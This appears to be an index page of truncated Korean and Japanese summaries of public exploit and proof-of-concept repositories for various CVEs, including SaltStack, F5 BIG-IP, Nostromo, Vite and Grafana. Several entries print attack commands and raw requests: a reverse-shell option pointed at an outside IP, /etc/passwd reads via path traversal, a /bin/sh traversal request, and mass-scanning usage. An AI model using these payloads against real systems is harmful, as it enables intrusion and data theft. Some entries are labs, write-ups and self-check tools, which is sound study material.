CVE-2023-33404

CVE-2023-33404 BlogEngine.NET CMS 버전 3.3.8.0 및 이전에서 EditOwnPosts 권한이 있는 사용자는 하드코딩된 위치에 악성 파일을 업로드할 수 있습니다. 아래 스크린샷과 같이 "action=video" 매개변수를 가진 /api/upload 엔드포인트로의 POST 요청은 파일 업로드 프로세스를 트리거합니다. 애플리케이션은 먼저 사용자가 비디오 업로드를 진행할 수 있는 EditOwnPosts 권한을 가지고 있는지 확인하며, 그렇지 않으면 오류를 발생시킵니다. 아래 스크린샷에 묘사된 바와 같이,...

CVE-2024-34470

CVE-2024-34470 PoC 및 대량 스캐너 개요 CVE-2024-34470에 대한 개념 증명PoC 및 대량 스캐너입니다. HSC Mailinspector의 경로 탐색Path Traversal 취약점으로, 버전 5.2.18까지의 모든 버전에 영향을 미칩니다. 사용 방법 PoC 실행 화면: 단일 대상 스캔 단일 대상 IP를 스캔하려면: python cve-2024-34470.py -u target 대량 대상 스캔 대량 대상을 한 번에 스캔하려면: python cve-2024-34470.py -f targets.txt 설치 ...

CVE-2025-55182

CVE-2025-55182 RCE 자가 점검 도구로, CVE-2025-55182 취약점을 점검합니다. 취약점 원리 React Server Components가 서버 함수 엔드포인트로 전송된 페이로드를 디코딩할 때 경로 해석 결함이 존재합니다. 이는 콜론으로 객체 속성을 구분하여 중첩 값 참조를 구현합니다예: $1🅰️b는 "a":"b":"foo".a.b에 해당. 그러나 속성 존재 여부 검증이 없습니다. $1🅰️a를 전달하면 .a.a의 유효하지 않은 값 참조가 발생하여 서버 500 오류를 유발합니다. 공격자는 특수하게 조작된...

wphunter

WPHunter 도구 ☣ WPHunter WordPress 취약점 스캐너 이 도구를 사용하여 WordPress 웹사이트의 취약점을 찾아 보안을 확인할 수 있습니다. 7천5백만 개 이상의 웹사이트가 WordPress로 운영됩니다. 이는 현재 웹의 26%를 차지합니다. 놀랍게도 수천 개의 WP 사이트가 공격에 취약하며 매일 해킹당하고 있습니다. 모든 데이터를 잃을 수도 있고, 수천 달러의 비용이 들 수 있으며, 더 심각하게는 공격자가 WordPress를 이용해 방문자를 표적으로 삼을 수 있습니다. 봇은 자동으로 웹을 스캔하여 취약...

CVE-2024-8190-unauth

CVE-2024-8190 認証なし 説明 CVE-2024-8963 & CVE-2024-8190 の組み合わせ - Ivanti CSA 4.6 以前における認証なし RCE の PoC。 CVE-2024-8963 Ivanti CSA 4.6 Patch 519 より前のパス横断により、リモートの認証されていない攻撃者が制限された機能にアクセスできる可能性があります。 CVE-2024-8190 Ivanti Cloud Services Appliance バージョン 4.6 Patch 518 以前の OS...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 マスターで実行: python exp.py --exec-choose master --exec-cmd "whoami" ミニオンで実行: python exp.py --exec-choose minions --exec-cmd "whoami" シェル取得: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ファイル読み取り: python exp.py --read /etc/passwd ファイルアップロード: python...

CVE-2023-49103

CVE-2023-49103 CVE-2023-49103용 PoC 개요 이 Python 스크립트는 대규모 URL 목록을 효율적으로 처리하여 phpinfo 출력이 존재하는지 확인하도록 설계되었습니다. 멀티스레딩을 사용하여 많은 수의 URL을 동시에 처리하므로 프로세스 속도가 크게 빨라집니다. 또한 이 스크립트는 진행 상황을 시각적으로 추적할 수 있는 실시간 진행률 표시줄을 제공합니다. 취약점을 트리거하려면 phpinfo URL에 접근하는 것만으로는 충분하지 않습니다. .htaccess도 우회해야 합니다통찰력을 제공한 rapid7에...

CVE-2020-5902_RCE

CVE-2020-5902RCEEXP Blog：http://www.svenbeast.com/post/cve-2020-5902 파일 읽기 예시: https://x.x.x.x/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1 Host: 127.0.0.1 Connection: close Cache-Control:...

UnCanny

UNCanny Coerce この研究の背後にあるアイデアは単純で、独自の強制 coercion 技術を見つけたいと考えたことでした。最初は新しいRPC攻撃対象領域を探していましたが、MicrosoftがRPCアクティビティ監視を追加した（https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368）ため、別の道を選ぶことにしました。...

CVE-2024-53677-S2-067

🚨🚨 CVE-2024-53677-S2-067🚨🚨 보안 권고: CVE-2024-53677 – 중대한 Apache Struts 원격 코드 실행 취약점 권고일: 2024년 12월 14일 CVE ID: CVE-2024-53677 CVSS 점수: 9.5 심각 개요 인기 있는 Apache Struts 프레임워크에서 중대한 취약점CVE-2024-53677이 발견되었으며, 공격자가 원격으로 임의 코드를 실행할 수 있습니다. 이 취약점은 파일 업로드 로직의 결함으로 인해 발생하며, 경로 순회 및 악성 파일 업로드를 수행하는 데 악용될 수...

apache-cve-2021-42013-rce

apache-cve-2021-42013-rce Apache HTTP Server 2.4.49에서 CVE-2021-42013 취약점Path Traversal & RCE을 시뮬레이션하는 Docker 기반 침투 테스트 연구실입니다. 이 프로젝트는 Apache HTTP Server 2.4.49에 존재하는 CVE-2021-42013 취약점을 격리된 환경에서 시뮬레이션하고 악용exploit하기 위해 준비되었습니다. 작업에서는 docker-exploit-lab이라는 특수 연구실 환경이 구축되었으며, 공격 시나리오는 동일 네트워크의...

Vitejs-exploit

Vite 익스플로잇 CVE-2025-31125 설명: Vite 개발 서버의 @fs 엔드포인트에서 경로 순회 취약점CVE-2025-31125을 악용하여 조작된 URL을 통해 /etc/passwd 및 /etc/hosts와 같은 민감한 파일에 접근합니다. Muhammad Waseem 제작. 사용법: python viteexploit.py -u http://target.com python viteexploit.py -f urls.txt -o output.txt 요구 사항: Python 3.x pip install requests...

CVE-2019-16278

CVE-2019-16278 및 CVE-2019-16279 익스플로잇 Nostromo httpd는 버전 1.9.6 이하에서 2개의 치명적인 취약점에 취약합니다0day =. 첫 번째는 디렉터리 트래버설을 통한 RCE이며, 두 번째는 DoS입니다. CVE-2019-16278 - 디렉터리 트래버설을 통한 원격 코드 실행 POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0 Connection: close User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64;...

Pegasus---Forbidden-Buster

Pegasus - Forbidden Buster Author: Letda Kes dr. Sobri, S.Kom. HTTP 401/403 응답을 우회하기 위한 다양한 헤더 조작 기술 및 경로 퍼징을 사용하는 침투 테스트 도구입니다. 기능 다양한 헤더 조작X-Forwarded-For, X-Original-URL, X-Rewrite-URL 등 테스트 유니코드 경로 우회 기술 User-Agent 퍼징 실시간 터미널 로깅 속도 제한 제어 프록시 지원 성공적인 우회 탐지 쿠키 조작 공격 벡터 파라미터 오염 기술 콘텐츠 발견 기능 여러...

Reg1c1de

Reg1c1de: Windowsレジストリ特権昇格スキャナー 概要（ヘルプ出力より）: Reg1c1deは、指定されたレジストリハイブをスキャンし、ユーザーが書き込み権限を持つキーを報告するツールです。 さらに、特定のファイル拡張子を持つファイルパスを含むレジストリ値が見つかり、それらが書き込み可能な場合も報告されます。 このツールとその使用方法の詳細は、関連するgithub.ioの記事をご覧ください：こちら ヘルプ出力: ++++++++++++++Reg1c1de++++++++++++++++ +author: @deadjakk | http://shell.rip+...

CTF_WRITEUPS-TryHackMe-CVE-2021-41773-

CTFWRITEUPS-TryHackMe-CVE-2021-41773- CTFWRITEUPS/TryHackMe /CVE-2021-41773/ CVE-2021-41773/42013 Apache 경로 탐색 버그와 불완전한 수정에 대한 간단한 설명 과제 1: 약간의 배경... 간략한 역사 2021년 10월 5일, Apache HTTP Server v2.4.49의 경로 탐색 공격을 상세히 설명하는 CVE가 발표되었습니다. CVE-2021-41773 번호가 할당되었으며, 다음과 같은 설명과 함께 발표되었습니다: Apache HTTP...

day04-nexus-4956

4일차 – Nexus Repository 3 경로 탐색 CVE-2024-4956 내용: 인증되지 않은 경로 탐색을 통해 조작된 URL로 누구나 임의의 파일을 다운로드할 수 있습니다. 취약점: Nexus Repo 3 버전 ≤ 3.68.0 에 영향을 미칩니다. 3.68.1 에서 수정되었습니다. 출처: Sonatype 권고 + NVD. 안전: 실습 환경은 로컬 전용입니다. 소유하지 않은 시스템을 대상으로 삼지 마세요. 설정 docker build -t day4-nexus-4956 . docker run -d -p 8081:8081...

CVE-2021-43798

CVE-2021-43798 Grafana 디렉토리 트래버설 Grafana 디렉토리 트래버설 익스플로잇용 간단한 프로그램 설치 gem install httparty gem install colorize gem install timeout ruby cve-2021-43798.rb...

CVE-2022-26809

CVE-2022-26809 このリポジトリは単にCVEの調査を行うものです。詳細な分析についてはこちらを参照してください。 更新: 05/19 2022 この分析はまだ完了していません.... 更新: 05/22 2022 HuanGMz氏の投稿とcorelightのブログから、実際の脆弱性箇所が示されています: OSFCASSOCIATION::ProcessBindAckOrNak この脆弱性はCVE-2021-43893と同様に、UNCパス を付けてlsass.exeにESFRPCリクエストを送信すると、被害者がクライアントとして...

CVE-2024-27292

CVE-2024-27292 : Docassemble V1.4.96 인증되지 않은 경로 탐색 CVEHunter는 비동기 성능을 갖춘 CVE-2024-27292 취약점 탐지 및 악용 도구입니다. 설치 git clone https://github.com/th3gokul/CVE-2024-27292.git cd CVE-2024-27292 pip install -r requirements.txt python3 cvehunter.py --help 사용법 python3 cvehunter.py -h / |\ \ / /| || | | | | |...